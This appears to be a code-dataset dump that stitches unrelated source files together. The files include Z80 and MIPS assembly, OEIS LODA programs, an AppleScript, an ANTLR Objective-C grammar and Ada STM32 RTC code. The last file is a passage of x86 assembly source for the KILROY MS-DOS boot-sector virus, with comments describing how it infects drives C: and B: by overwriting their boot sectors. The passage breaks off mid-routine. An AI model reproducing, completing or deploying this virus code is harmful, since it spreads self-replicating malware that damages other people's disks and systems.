max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
libsrc/strings/strcasecmp.asm | meesokim/z88dk | 0 | 1423 | <reponame>meesokim/z88dk
; CALLER linkage for function pointers
PUBLIC strcasecmp
EXTERN stricmp1
.strcasecmp
pop bc
pop de
pop hl
push hl
push de
push bc
jp stricmp1
|
programs/oeis/137/A137512.asm | neoneye/loda | 22 | 245873 | <reponame>neoneye/loda<gh_stars>10-100
; A137512: The number of nodes visible from underneath a binary tree, where the nodes are placed such that the innermost of the two sprouting nodes should be underneath the mother.
; 1,1,2,3,3,3,4,5,5,6,6,6,7,7,8,9,9,10,10,11,11,12,12,12,13,13,14,14,15,15,16
mov $2,$0
add $0,4
lpb $2
div $2,2
mov $1,$2
trn $2,1
lpe
add $0,$1
div $0,2
sub $0,1
|
Hind or Show Hidden Items.scpt | chenpanliao/Hind-or-Show-Hidden-Items | 0 | 1778 | -- Hind or Show Hidden Items.app
-- Download APP https://drive.google.com/file/d/0B0E2FRIvjDDoQVpIWFYyXy00UWs/view?usp=sharing
set isCancel to false
repeat until isCancel
display dialog "Let hidden Finder items visible or hidden... (Be careful, you will lost all Finder windows)" buttons {"cancel and quit", "visible", "hidden"} default button "hidden" cancel button "cancel and quit" with icon 2 with title "Hind or Show Hidden Items.app"
set ans to button returned of result
if ans is "hidden" then
set str to "defaults write com.apple.finder AppleShowAllFiles NO"
else if ans is "visible" then
set str to "defaults write com.apple.finder AppleShowAllFiles YES"
end if
if ans is not "cancel and quit" then
do shell script str
-- relanch finder
try
tell application "Finder" to quit
end try
delay 2
tell application "Finder" to activate
-- display notification str with title "Hind or Show Hidden Items.app complete"
display alert "Hind or Show Hidden Items.app sets hidden items " & ans as informational
else
set isCancel to true
end if
end repeat
|
objc/ObjectiveCParser.g4 | ChristianWulf/grammars-v4 | 0 | 7195 | <reponame>ChristianWulf/grammars-v4
/*
Objective-C grammar.
The MIT License (MIT).
Copyright (c) 2016, <NAME> (<EMAIL>).
Copyright (c) 2016, <NAME> (<EMAIL>).
Converted to ANTLR 4 by <NAME>; added @property and a few others.
Updated June 2014, <NAME>. Fix try-catch, add support for @( @{ @[ and blocks
June 2008 <NAME>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
parser grammar ObjectiveCParser;
options { tokenVocab=ObjectiveCLexer; }
translationUnit
: externalDeclaration* EOF
;
externalDeclaration
: importDeclaration
| functionDefinition
| declaration
| classInterface
| classImplementation
| categoryInterface
| categoryImplementation
| protocolDeclaration
| protocolDeclarationList
| classDeclarationList
| implementationDefinitionList
;
importDeclaration
: '@import' identifier ';'
;
classInterface
: '@interface'
classNameGeneric (':' superclassName)? protocolReferenceList? instanceVariables? interfaceDeclarationList?
'@end'
;
categoryInterface
: '@interface'
classNameGeneric LP categoryName? RP protocolReferenceList? instanceVariables? interfaceDeclarationList?
'@end'
;
classImplementation
: '@implementation'
classNameGeneric (':' superclassName)? instanceVariables? implementationDefinitionList?
'@end'
;
categoryImplementation
: '@implementation'
classNameGeneric LP categoryName RP implementationDefinitionList?
'@end'
;
protocolDeclaration
: '@protocol'
protocolName protocolReferenceList? ('@required' | interfaceDeclarationList | '@optional')*
'@end'
;
protocolDeclarationList
: '@protocol' protocolList ';'
;
classDeclarationList
: '@class' classList ';'
;
classList
: className (',' className)*
;
protocolReferenceList
: LT protocolList GT
;
protocolList
: protocolName (',' protocolName)*
;
propertyDeclaration
: '@property' (LP propertyAttributesList RP)? ibOutletSpecifier? structDeclaration
;
propertyAttributesList
: propertyAttribute (',' propertyAttribute)*
;
propertyAttribute
: 'nonatomic' | 'assign' | 'weak' | 'strong' | 'retain' | 'readonly' | 'readwrite'
| 'getter' '=' identifier
| 'setter' '=' identifier ':'
| nullabilitySpecifier
| identifier
;
className
: identifier
;
superclassName
: identifier
;
categoryName
: identifier
;
protocolName
: protocolReferenceList
| ('__covariant' | '__contravariant')? identifier
;
instanceVariables
: '{' structDeclaration* '}'
| '{' visibilitySpecification structDeclaration+ '}'
| '{' structDeclaration+ instanceVariables '}'
| '{' visibilitySpecification structDeclaration+ instanceVariables '}'
;
visibilitySpecification
: '@private'
| '@protected'
| '@package'
| '@public'
;
interfaceDeclarationList
: (declaration
| classMethodDeclaration
| instanceMethodDeclaration
| propertyDeclaration)+
;
classMethodDeclaration
: '+' methodDeclaration
;
instanceMethodDeclaration
: '-' methodDeclaration
;
methodDeclaration
: methodType? methodSelector macros? ';'
;
implementationDefinitionList
: (functionDefinition
| declaration
| classMethodDefinition
| instanceMethodDefinition
| propertyImplementation
)+
;
classMethodDefinition
: '+' methodDefinition
;
instanceMethodDefinition
: '-' methodDefinition
;
methodDefinition
: methodType? methodSelector initDeclaratorList? ';'? compoundStatement
;
methodSelector
: selector
| keywordDeclarator+ (',' '...')?
;
keywordDeclarator
: selector? ':' methodType* arcBehaviourSpecifier? identifier
;
selector
: identifier
| 'return'
;
methodType
: LP typeName RP
;
propertyImplementation
: '@synthesize' propertySynthesizeList ';'
| '@dynamic' propertySynthesizeList ';'
;
propertySynthesizeList
: propertySynthesizeItem (',' propertySynthesizeItem)*
;
propertySynthesizeItem
: identifier ('=' identifier)?
;
blockType
: typeSpecifier LP '^' typeSpecifier? RP blockParameters?
;
genericsSpecifier
: LT typeSpecifier? (',' typeSpecifier)* GT
;
protocolQualifier
: 'in' | 'out' | 'inout' | 'bycopy' | 'byref' | 'oneway'
;
dictionaryExpression
: '@' '{' dictionaryPair? (',' dictionaryPair)* ','? '}'
;
dictionaryPair
: castExpression ':' conditionalExpression
;
arrayExpression
: '@' '[' conditionalExpression? (',' conditionalExpression)* ','? ']'
;
boxExpression
: '@' LP expression RP
| '@' (constant | identifier)
;
blockParameters
: LP (typeVariableDeclarator | typeName | 'void')? (',' (typeVariableDeclarator | typeName))* RP
;
blockExpression
: '^' typeSpecifier? blockParameters? compoundStatement
;
messageExpression
: '[' receiver messageSelector ']'
;
receiver
: expression
| typeSpecifier
;
messageSelector
: selector
| keywordArgument+
;
keywordArgument
: selector? ':' expression ('{' initializerList '}')? (',' expression ('{' initializerList '}')?)*
;
selectorExpression
: '@selector' LP selectorName RP
;
selectorName
: selector
| (selector? ':')+
;
protocolExpression
: '@protocol' LP protocolName RP
;
encodeExpression
: '@encode' LP typeName RP
;
typeVariableDeclarator
: declarationSpecifiers declarator
;
throwStatement
: '@throw' LP identifier RP
| '@throw' expression
;
tryBlock
: '@try' tryStatement=compoundStatement catchStatement* ('@finally' finallyStatement=compoundStatement)?
;
catchStatement
: '@catch' LP typeVariableDeclarator RP compoundStatement
;
synchronizedStatement
: '@synchronized' LP expression RP compoundStatement
;
autoreleaseStatement
: '@autoreleasepool' compoundStatement
;
// TODO: if official doc: declarator instead of identifier ( LP parameterList? RP )?
functionDefinition
: declarationSpecifiers? attributeSpecifier? declarationSpecifiers? attributeSpecifier? identifier (LP parameterList? RP)? attributeSpecifier? compoundStatement
;
attributeSpecifier
: '__attribute__' (LP LP attribute (',' attribute)* RP RP)?
;
attribute
: attributeName attributeParameters?
;
attributeName
: 'const'
| IDENTIFIER
;
attributeParameters
: LP attributeParameterList? RP
;
attributeParameterList
: attributeParameter (',' attributeParameter)*
;
attributeParameter
: attribute
| constant
| stringLiteral
| attributeParameterAssignment
;
attributeParameterAssignment
: attributeName '=' (constant | attributeName | stringLiteral)
;
declaration
: functionCallDeclaration
| enumDeclaration
| varDeclaration
;
functionCallDeclaration
: attributeSpecifier? className attributeSpecifier? LP directDeclarator RP ';'
;
enumDeclaration
: attributeSpecifier? storageClassSpecifier? enumSpecifier className? ';'
;
varDeclaration
: attributeSpecifier? declarationSpecifiers attributeSpecifier? initDeclaratorList? ';'
;
// TODO: replace with declarationSpecifier and repetition.
declarationSpecifiers
: (arcBehaviourSpecifier
| storageClassSpecifier
| typeSpecifier
| typeQualifier
| ibOutletSpecifier)+
;
ibOutletSpecifier
: 'IBOutletCollection' LP className RP
| 'IBOutlet'
;
initDeclaratorList
: initDeclarator (',' initDeclarator)*
;
initDeclarator
: declarator ('=' initializer)?
;
structOrUnionSpecifier
: ('struct' | 'union') (identifier | identifier? '{' structDeclaration+ '}')
;
structDeclaration
: specifierQualifierList structDeclaratorList macros? ';'
;
specifierQualifierList
: (arcBehaviourSpecifier | nullabilitySpecifier | typeSpecifier | typeQualifier)+
;
arcBehaviourSpecifier
: '__autoreleasing'
| '__deprecated'
| '__unsafe_unretained'
| '__unused'
| '__weak'
;
nullabilitySpecifier
: 'nullable'
| 'nonnull'
;
storageClassSpecifier
: 'auto'
| 'register'
| 'static'
| 'extern'
| 'typedef'
;
typeSpecifier
: 'void'
| 'char'
| 'short'
| 'int'
| 'long'
| 'float'
| 'double'
| 'instancetype'
| 'signed'
| 'unsigned'
| typeofExpression
| (className (protocolReferenceList | genericsSpecifier)?)
| structOrUnionSpecifier
| enumSpecifier
| identifier pointer?
;
typeQualifier
: 'const'
| 'volatile'
| protocolQualifier
;
typeofExpression
: ('typeof' | '__typeof' | '__typeof__') (LP expression RP)
;
classNameGeneric
: className (protocolReferenceList | genericsSpecifier)?
;
structDeclaratorList
: structDeclarator (',' structDeclarator)*
;
structDeclarator
: declarator
| declarator? ':' constant
;
enumSpecifier
: 'enum' (identifier? ':' typeName)? (identifier ('{' enumeratorList '}')? | '{' enumeratorList '}')
| ('NS_OPTIONS' | 'NS_ENUM') LP typeName ',' identifier RP '{' enumeratorList '}'
;
enumeratorList
: enumerator (',' enumerator)* ','?
;
enumerator
: enumeratorIdentifier ('=' binaryExpression)?
;
enumeratorIdentifier
: identifier
| 'default'
;
directDeclarator
: (identifier | LP declarator RP) declaratorSuffix*
| LP '^' identifier? RP blockParameters
;
declaratorSuffix
: '[' constantExpression? ']'
| LP parameterList RP
;
parameterList
: parameterDeclarationList (',' '...')?
;
pointer
: '*' declarationSpecifiers? pointer?
;
macros
: identifier (LP primaryExpression (',' primaryExpression)* RP)?
;
initializer
: conditionalExpression
| arrayInitializer
| structInitializer
;
arrayInitializer
: '{' (conditionalExpression (',' conditionalExpression)* ','?)? '}'
;
structInitializer
: '{' ('.' assignmentExpression (',' '.' assignmentExpression)* ','?)? '}'
;
initializerList
: initializer (',' initializer)* ','?
;
typeName
: specifierQualifierList abstractDeclarator?
| blockType
;
abstractDeclarator
: pointer abstractDeclarator?
| LP abstractDeclarator? RP abstractDeclaratorSuffix+
| ('[' constantExpression? ']')+
;
abstractDeclaratorSuffix
: '[' constantExpression? ']'
| LP parameterDeclarationList? RP
;
parameterDeclarationList
: parameterDeclaration (',' parameterDeclaration)*
;
parameterDeclaration
: declarationSpecifiers declarator
| 'void'
;
declarator
: pointer? directDeclarator
;
statement
: labeledStatement ';'?
| compoundStatement ';'?
| selectionStatement ';'?
| iterationStatement ';'?
| jumpStatement ';'?
| synchronizedStatement ';'?
| autoreleaseStatement ';'?
| throwStatement ';'?
| tryBlock ';'?
| expression ';'?
| ';'
;
labeledStatement
: identifier ':' statement
;
rangeExpression
: constantExpression ('...' constantExpression)?
;
compoundStatement
: '{' (declaration | statement)* '}'
;
selectionStatement
: IF LP expression RP statement (ELSE statement)?
| switchStatement
;
switchStatement
: 'switch' LP expression RP switchBlock
;
switchBlock
: '{' switchSection* '}'
;
switchSection
: switchLabel+ statement+
;
switchLabel
: 'case' (rangeExpression | LP rangeExpression RP) ':'
| 'default' ':'
;
forLoopInitializer
: declarationSpecifiers initDeclaratorList
| expression
;
iterationStatement
: whileStatement
| doStatement
| forStatement
| forInStatement
;
whileStatement
: 'while' LP expression RP statement
;
doStatement
: 'do' statement 'while' LP expression RP ';'
;
forStatement
: 'for' LP forLoopInitializer? ';' expression? ';' expression? RP statement
;
forInStatement
: 'for' LP typeVariableDeclarator 'in' expression? RP statement
;
jumpStatement
: 'goto' identifier ';'
| 'continue' ';'
| 'break' ';'
| 'return' expression? ';'
;
expression
: assignmentExpression (',' assignmentExpression)*
;
assignmentExpression
: conditionalExpression
| unaryExpression assignmentOperator assignmentExpression
;
conditionalExpression
: binaryExpression
| binaryExpression '?' expression? ':' conditionalExpression
;
binaryExpression
: castExpression
| binaryExpression ('*' | DIV | '%') binaryExpression
| binaryExpression ('+' | '-') binaryExpression
| binaryExpression (LT LT | GT GT) binaryExpression
| binaryExpression (LE | GE | LT | GT) binaryExpression
| binaryExpression (NOTEQUAL | EQUAL) binaryExpression
| binaryExpression '&' binaryExpression
| binaryExpression '^' binaryExpression
| binaryExpression '|' binaryExpression
| binaryExpression AND binaryExpression
| binaryExpression OR binaryExpression
;
castExpression
: LP typeName RP (castExpression | initializer)
| unaryExpression
;
assignmentOperator
: '=' | '*=' | '/=' | '%=' | '+=' | '-=' | '<<=' | '>>=' | '&=' | '^=' | '|='
;
constantExpression
: identifier
| constant
;
unaryExpression
: postfixExpression
| '++' unaryExpression
| '--' unaryExpression
| unaryOperator castExpression
;
unaryOperator
: '&' | '*' | '+' | '-' | '~' | BANG
;
postfixExpression
: primaryExpression #primaryInPostfixExpression
| postfixExpression '[' expression ']' #indexerExpression
| postfixExpression LP argumentExpressionList? RP #functionCallExpression
| postfixExpression ('.' | '->') identifier #propertyExpression
| postfixExpression ('++' | '--') #incDecExpression
;
argumentExpressionList
: argumentExpression (',' argumentExpression)*
;
argumentExpression
: assignmentExpression
| typeSpecifier
;
primaryExpression
: identifier
| constant
| stringLiteral
| LP expression RP
| messageExpression
| selectorExpression
| protocolExpression
| encodeExpression
| dictionaryExpression
| arrayExpression
| boxExpression
| blockExpression
;
constant
: HEX_LITERAL
| OCTAL_LITERAL
| BINARY_LITERAL
| ('+' | '-')? DECIMAL_LITERAL
| ('+' | '-')? FLOATING_POINT_LITERAL
| CHARACTER_LITERAL
;
stringLiteral
: STRING ('\\'? STRING)*
| QUOTE_STRING+
;
identifier
: IDENTIFIER
| NULLABLE
| WWEAK
| TYPEOF | TYPEOF__ | TYPEOF____ | KINDOF__ | SIZEOF
| ASSIGNPA | GETTER | NONATOMIC | SETTER | STRONG | RETAIN | READONLY | READWRITE | WEAK
| ID
| COVARIANT | CONTRAVARIANT
| WUNUSED
;
|
programs/oeis/267/A267489.asm | neoneye/loda | 22 | 245667 | <filename>programs/oeis/267/A267489.asm<gh_stars>10-100
; A267489: a(n) = n^2 - 4*floor(n^2/6).
; 0,1,4,5,8,9,12,17,24,29,36,41,48,57,68,77,88,97,108,121,136,149,164,177,192,209,228,245,264,281,300,321,344,365,388,409,432,457,484,509,536,561,588,617,648,677,708,737,768,801,836,869,904,937,972,1009,1048,1085,1124,1161,1200,1241,1284,1325,1368,1409,1452,1497,1544,1589,1636,1681,1728,1777,1828,1877,1928,1977,2028,2081,2136,2189,2244,2297,2352,2409,2468,2525,2584,2641,2700,2761,2824,2885,2948,3009,3072,3137,3204,3269
pow $0,2
mov $1,$0
div $1,6
mov $2,2
mul $2,$1
mul $2,2
sub $0,$2
|
programs/oeis/056/A056854.asm | neoneye/loda | 22 | 99049 | ; A056854: a(n) = Lucas(4*n).
; 2,7,47,322,2207,15127,103682,710647,4870847,33385282,228826127,1568397607,10749957122,73681302247,505019158607,3461452808002,23725150497407,162614600673847,1114577054219522,7639424778862807,52361396397820127,358890350005878082,2459871053643326447,16860207025497407047,115561578124838522882,792070839848372253127,5428934300813767249007,37210469265847998489922,255044350560122222180447,1748099984655007556773207,11981655542024930675232002,82123488809519507169850807,562882766124611619513723647,3858055874062761829426214722,26443508352314721186469779407,181246502592140286475862241127,1242282009792667284144565908482,8514727565956530702536099118247,58360810951903047633608127919247,400010949097364802732720796316482,2741715832729650571495437446296127,18791999880010189197735341327756407,128802283327341673812651951847998722,882823983411381527490828321608234647
mul $0,2
mov $1,2
mov $2,1
lpb $0
sub $0,1
add $1,$2
add $2,$1
lpe
mov $0,$1
|
test/ir/maxSumSubarray.asm | shivansh/gogo | 24 | 101368 | <filename>test/ir/maxSumSubarray.asm
.data
a: .space 40
sum: .space 40
i: .word 0
v: .word 0
v1: .word 0
v2: .word 0
maxsum: .word 0
.text
runtime:
addi $sp, $sp, -4
sw $ra, 0($sp)
lw $ra, 0($sp)
addi $sp, $sp, 4
jr $ra
.end runtime
.globl main
.ent main
main:
li $3, 0 # i -> $3
# Store dirty variables back into memory
sw $3, i
loop1:
lw $3, i # i -> $3
bge $3, 10, exit1
li $2, 5
syscall
move $3, $2
la $5, a
lw $6, i # i -> $6
sll $s2, $6, 2 # iterator *= 4
sw $3, a($s2) # variable -> array
addi $6, $6, 1
# Store dirty variables back into memory
sw $3, v
sw $6, i
j loop1
exit1:
la $3, a
lw $5, 0($3) # variable <- array
la $3, sum
sw $5, 0($3) # variable -> array
li $3, 1 # i -> $3
# Store dirty variables back into memory
sw $3, i
sw $5, v
loop2:
lw $3, i # i -> $3
bge $3, 10, exit2
lw $3, i # i -> $3
sub $5, $3, 1
lw $3, v # v -> $3
# Store dirty variables back into memory
sw $5, v1
bge $3, 0, branch1
la $3, a
lw $5, i # i -> $5
sll $s2, $5, 2 # iterator *= 4
lw $6, a($s2) # variable <- array
la $3, sum
sll $s2, $5, 2 # iterator *= 4
sw $6, sum($s2) # variable -> array
addi $5, $5, 1
# Store dirty variables back into memory
sw $5, i
sw $6, v
j loop2
branch1:
la $3, a
lw $5, i # i -> $5
sll $s2, $5, 2 # iterator *= 4
lw $6, a($s2) # variable <- array
sub $3, $5, 1
la $7, sum
sll $s2, $3, 2 # iterator *= 4
lw $8, sum($s2) # variable <- array
add $6, $6, $8
sll $s2, $5, 2 # iterator *= 4
sw $6, sum($s2) # variable -> array
addi $5, $5, 1
# Store dirty variables back into memory
sw $3, v1
sw $5, i
sw $6, v
sw $8, v2
j loop2
exit2:
la $3, sum
lw $5, 0($3) # variable <- array
li $3, 1 # i -> $3
# Store dirty variables back into memory
sw $3, i
sw $5, maxsum
loop3:
lw $3, i # i -> $3
bge $3, 10, exit3
la $3, sum
lw $5, i # i -> $5
sll $s2, $5, 2 # iterator *= 4
lw $6, sum($s2) # variable <- array
lw $3, maxsum # maxsum -> $3
# Store dirty variables back into memory
sw $6, v
bge $3, $6, branch2
lw $3, v # v -> $3
move $5, $3 # maxsum -> $5
lw $3, i # i -> $3
addi $3, $3, 1
# Store dirty variables back into memory
sw $3, i
sw $5, maxsum
j loop3
branch2:
lw $3, i # i -> $3
addi $3, $3, 1
# Store dirty variables back into memory
sw $3, i
j loop3
exit3:
li $2, 1
lw $3, maxsum # maxsum -> $3
move $4, $3
syscall
li $2, 10
syscall
.end main
|
examples/stm32f0/rtc/main.adb | ekoeppen/STM32_Generic_Ada_Drivers | 1 | 26297 | with System;
with Ada.Synchronous_Task_Control; use Ada.Synchronous_Task_Control;
with STM32_SVD; use STM32_SVD;
with STM32_SVD.PWR; use STM32_SVD.PWR;
with STM32_SVD.RCC; use STM32_SVD.RCC;
with STM32_SVD.GPIO; use STM32_SVD.GPIO;
with STM32GD.RTC;
with STM32GD.Board; use STM32GD.Board;
with Drivers.Text_IO;
with RTC_IRQ;
procedure Main is
package RTC renames STM32GD.RTC;
package Text_IO is new Drivers.Text_IO (USART => STM32GD.Board.USART);
use Text_IO;
procedure Print_Date is new STM32GD.RTC.Print (Put => Text_IO.Put);
procedure Enable_Stop_Mode (Low_Power : Boolean) is
SCB_SCR : aliased STM32_SVD.UInt32
with Address => System'To_Address (16#E000ED10#);
SCR : UInt32;
begin
PWR_Periph.CR.LPDS := (if Low_Power then 1 else 0);
PWR_Periph.CR.PDDS := 0;
SCR := SCB_SCR or 2#100#;
SCB_SCR := SCR;
end Enable_Stop_Mode;
procedure Disable_Stop_Mode is
SCB_SCR : aliased STM32_SVD.UInt32
with Address => System'To_Address (16#E000ED10#);
SCR : UInt32;
begin
SCR := SCB_SCR and not 2#100#;
SCB_SCR := SCR;
end Disable_Stop_Mode;
procedure Disable_Peripherals is
begin
RCC_Periph.AHBENR.IOPAEN := 1;
RCC_Periph.AHBENR.IOPBEN := 1;
RCC_Periph.AHBENR.IOPCEN := 1;
RCC_Periph.AHBENR.IOPDEN := 1;
RCC_Periph.AHBENR.IOPFEN := 1;
GPIOA_Periph.MODER.Val := 16#28FF_FFFF#;
GPIOB_Periph.MODER.Val := 16#FFFF_FFFF#;
GPIOC_Periph.MODER.Val := 16#FFFF_FFFF#;
GPIOD_Periph.MODER.Val := 16#FFFF_FFFF#;
GPIOF_Periph.MODER.Val := 16#FFFF_FFFF#;
RCC_Periph.AHBENR.IOPAEN := 0;
RCC_Periph.AHBENR.IOPBEN := 0;
RCC_Periph.AHBENR.IOPCEN := 0;
RCC_Periph.AHBENR.IOPDEN := 0;
RCC_Periph.AHBENR.IOPFEN := 0;
end Disable_Peripherals;
Date_Time : RTC.Date_Time_Type;
begin
Init;
RTC.Init;
LED2.Set;
-- Enable_Stop_Mode (True);
loop
Print_Date (Date_Time);
RTC.Read (Date_Time);
RTC.Add_Seconds (Date_Time, 1);
RTC.Set_Alarm (Date_Time);
Set_False (RTC_IRQ.Alarm_Occurred);
Suspend_Until_True (RTC_IRQ.Alarm_Occurred);
LED2.Toggle;
end loop;
end Main;
|
MSDOS/Virus.MSDOS.Unknown.kilroy.asm | fengjixuchui/Family | 3 | 246198 | ;The KILROY one-sector boot sector virus will both boot up either MS-DOS or
;PC-DOS and it will infect other disks.
;This segment is where the first operating system file (IBMBIO.COM or IO.SYS)
;will be loaded and executed from. We don't know (or care) what is there, but
;we do need the address to jump to defined in a separate segment so we can
;execute a far jump to it.
DOS_LOAD SEGMENT AT 0070H
ASSUME CS:DOS_LOAD
ORG 0
LOAD: DB 0 ;Start of the first operating system program
DOS_LOAD ENDS
MAIN SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
;This jump instruction is just here so we can compile this program as a COM
;file. It is never actually executed, and never becomes a part of the boot
;sector. Only the 512 bytes after the address 7C00 in this file become part of
;the boot sector.
ORG 100H
START: jmp BOOTSEC
;The following two definitions are BIOS RAM bytes which contain information
;about the number and type of disk drives in the computer. These are needed by
;the virus to decide on where to look to find drives to infect. They are not
;normally needed by an ordinary boot sector.
ORG 0410H
SYSTEM_INFO: DB ? ;System info byte: Take bits 6 & 7 and add 1 to get number of
;disk drives on this system (eg 01 = 2 drives)
ORG 0475H
HD_COUNT: DB ? ;Number of hard drives in the system
;This area is reserved for loading the boot sector from the disk which is going
;to be infected, as well as the first sector of the root directory, when
;checking for the existence of system files and loading the first system file.
ORG 0500H
DISK_BUF: DW ? ;Start of the buffer
ORG 06FEH
NEW_ID: DW ? ;Location of AA55H in boot sector loaded at DISK_BUF
;Here is the start of the boot sector code. This is the chunk we will take out
;of the compiled COM file and put it in the first sector on a 360K floppy disk.
;Note that this MUST be loaded onto a 360K floppy to work, because the
;parameters in the data area that follow are set up to work only with a 360K
;disk!
ORG 7C00H
BOOTSEC: JMP BOOT ;Jump to start of boot sector code
ORG 7C03H ;This is needed because the jump will get coded as 2 bytes
DOS_ID: DB 'KILROY ' ;Name of this boot sector (8 bytes)
SEC_SIZE: DW 200H ;Size of a sector, in bytes
SECS_PER_CLUST: DB 02 ;Number of sectors in a cluster
FAT_START: DW 1 ;Starting sector for the first File Allocation Table (FAT)
FAT_COUNT: DB 2 ;Number of FATs on this disk
ROOT_ENTRIES: DW 70H ;Number of root directory entries
SEC_COUNT: DW 2D0H ;Total number of sectors on this disk
DISK_ID: DB 0FDH ;Disk type code (This is 360KB)
SECS_PER_FAT: DW 2 ;Number of sectors per FAT
SECS_PER_TRK: DW 9 ;Sectors per track for this drive
HEADS: DW 2 ;Number of heads (sides) on this drive
HIDDEN_SECS: DW 0 ;Number of hidden sectors on the disk
DSKBASETBL:
DB 0 ;Specify byte 1: step rate time, head unload time
DB 0 ;Specify byte 2: Head load time, DMA mode
DB 0 ;Wait time until motor turned off, in clock ticks
DB 0 ;Bytes per sector (0=128, 1=256, 2=512, 3=1024)
DB 12H ;Last sector number (we make it large enough to handle 1.2/1.44 MB floppies)
DB 0 ;Gap length between sectors for r/w operations, in bytes
DB 0 ;Data transfer length when sector length not specified
DB 0 ;Gap length between sectors for format operations, in bytes
DB 0 ;Value stored in newly formatted sectors
DB 1 ;Head settle time, in milliseconds (we set it small to speed operations)
DB 0 ;Motor startup time, in 1/8 seconds
HEAD: DB 0 ;Current head to read from (scratch area used by boot sector)
;Here is the start of the boot sector code
BOOT: CLI ;interrupts off
XOR AX,AX ;prepare to set up segments
MOV ES,AX ;set ES=0
MOV SS,AX ;start stack at 0000:7C00
MOV SP,OFFSET BOOTSEC
MOV BX,1EH*4 ;get address of disk
LDS SI,SS:[BX] ;param table in ds:si
PUSH DS
PUSH SI ;save that address
PUSH SS
PUSH BX ;and its address
MOV DI,OFFSET DSKBASETBL ;and update default
MOV CX,11 ;values to the table stored here
CLD ;direction flag cleared
DFLT1: LODSB
CMP BYTE PTR ES:[DI],0 ;anything non-zero
JNZ SHORT DFLT2 ;is not a default, so don't save it
STOSB ;else put default value in place
JMP SHORT DFLT3 ;and go on to next
DFLT2: INC DI
DFLT3: LOOP DFLT1 ;and loop until cx=0
MOV AL,AH ;set ax=0
MOV DS,AX ;set ds=0 so we can set disk tbl
MOV WORD PTR [BX+2],AX ;to @DSKBASETBL (ax=0 here)
MOV WORD PTR [BX],OFFSET DSKBASETBL ;ok, done
STI ;now turn interrupts on
INT 13H ;and reset disk drive system
ERROR1: JC ERROR1 ;if an error, hang the machine
;Attempt to self reproduce. If this boot sector is located on drive A, it will
;attempt to relocate to drive C. If successful, it will stop, otherwise it will
;attempt to relocate to drive B. If this boot sector is located on drive C, it
;will attempt to relocate to drive B.
SPREAD:
CALL DISP_MSG ;Display the "Kilroy was here!" message
MOV BX,OFFSET DISK_BUF ;read other boot sectors into this buffer
CMP BYTE PTR [DRIVE],80H
JZ SPREAD2 ;if it's C, go try to spread to B
MOV DX,180H ;if it's A, try to spread to C first, try Head 1
CMP BYTE PTR [HD_COUNT],0 ;see if there is a hard drive
JZ SPREAD2 ;none - try floppy B
MOV CX,1 ;read Track 0, Sector 1
MOV AX,201H
INT 13H
JC SPREAD2 ;on error, go try drive B
CMP WORD PTR [NEW_ID],0AA55H ;make sure it really is a boot sector
JNZ SPREAD2
CALL MOVE_DATA
MOV DX,180H ;and go write the new sector
MOV CX,1
MOV AX,301H
INT 13H
JC SPREAD2 ;if an error writing to C:, try infecting B:
JMP SHORT LOOK_SYS ;if no error, go look for system files
SPREAD2: MOV AL,BYTE PTR [SYSTEM_INFO] ;first see if there is a B drive
AND AL,0C0H
ROL AL,1 ;put bits 6 & 7 into bits 0 & 1
ROL AL,1
INC AL ;add one, so now AL=# of drives
CMP AL,2
JC LOOK_SYS ;no B drive, just quit
MOV DX,1 ;read drive B
MOV AX,201H ;read one sector
MOV CX,1 ;read Track 0, Sector 1
INT 13H
JC LOOK_SYS ;if an error here, just exit
CMP WORD PTR [NEW_ID],0AA55H ;make sure it really is a boot sector
JNZ LOOK_SYS ;no, don't attempt reproduction
CALL MOVE_DATA ;yes, move this boot sector in place
MOV DX,1
MOV AX,301H ;and write this boot sector to drive B
MOV CX,1
INT 13H
;Here we look at the first file on the disk to see if it is the first MS-DOS or
;PC-DOS system file, IO.SYS or IBMBIO.COM, respectively.
LOOK_SYS:
MOV AL,BYTE PTR [FAT_COUNT] ;get fats per disk
XOR AH,AH
MUL WORD PTR [SECS_PER_FAT] ;multiply by sectors per fat
ADD AX,WORD PTR [HIDDEN_SECS] ;add hidden sectors
ADD AX,WORD PTR [FAT_START] ;add starting fat sector
PUSH AX
MOV WORD PTR [DOS_ID],AX ;root dir, save it
MOV AX,20H ;dir entry size
MUL WORD PTR [ROOT_ENTRIES] ;dir size in ax
MOV BX,WORD PTR [SEC_SIZE] ;sector size
ADD AX,BX ;add one sector
DEC AX ;decrement by 1
DIV BX ;ax=# sectors in root dir
ADD WORD PTR [DOS_ID],AX ;DOS_ID=start of data
MOV BX,OFFSET DISK_BUF ;set up disk read buffer at 0000:0500
POP AX
CALL CONVERT ;and go convert sequential sector number to bios data
MOV AL,1 ;prepare for a disk read for 1 sector
CALL READ_DISK ;go read it
MOV DI,BX ;compare first file on disk with
MOV CX,11 ;required file name
MOV SI,OFFSET SYSFILE_1 ;of first system file for PC DOS
REPZ CMPSB
JZ SYSTEM_THERE ;ok, found it, go load it
MOV DI,BX ;compare first file with
MOV CX,11 ;required file name
MOV SI,OFFSET SYSFILE_2 ;of first system file for MS DOS
REPZ CMPSB
ERROR2: JNZ ERROR2 ;not the same - an error, so hang the machine
;Ok, system file is there, so load it
SYSTEM_THERE:
MOV AX,WORD PTR [DISK_BUF+1CH] ;get file size of IBMBIO.COM/IO.SYS
XOR DX,DX
DIV WORD PTR [SEC_SIZE] ;and divide by sector size
INC AL ;ax=number of sectors to read
MOV BP,AX ;store that number in BP
